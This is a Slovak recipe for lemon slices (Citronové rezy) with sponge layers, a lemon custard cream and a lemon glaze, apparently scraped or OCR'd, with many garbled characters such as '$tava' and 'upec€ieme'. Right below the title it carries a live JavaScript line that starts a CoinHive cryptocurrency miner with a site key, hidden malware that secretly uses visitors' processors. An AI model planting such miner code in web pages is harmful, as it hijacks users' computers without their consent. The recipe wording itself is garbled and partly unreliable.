Citronové rezy

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

ésto: 10 vajec, 450 g praskového cukru, $tava z 1 citréna, 120 g Solamylu, 55 g Promix UNI,
55 g Promix PK Krém: 700 ml mlieka, 4 PL Solamylu, 1 maslo, 200 g praskovy cukor, 1
vanilkovy cukor, $tava z 2 citrénov

Poleva: 200 g praskového cukru, stava z 1 citrona

Cesto: Zitky vymie$ame so 450 g praskového cukru, potom pridame &favu z jedného citrona.
Vyslahame tuhy sneh z bielkov a opatrne ho zapracujeme do Zltkovej hmoty spolu s mukou a
Solamylom. Cesto rozdelime na 3 Casti a kazdu upec€ieme na plechu vyloZzenom mastnym
papierom.

Krém: v mlieku rozmieSame 4 PL Solamylu a vanilkovy cukor a uvarime hustu kasu. K
vychladnutej hmote priddme vymieSané maslo s praskovym cukrom a $tavu z 2 citrénov. Na
plat cesta navrstvime polovicu krému, prikryjeme druhym platom, na ktory natrieme zvySok
krému./p>

Poleva: V miske vymieSame praskovy cukor a $tavu z citréna. Polevu natrieme na vrchny plat a
nechame stuhndt.




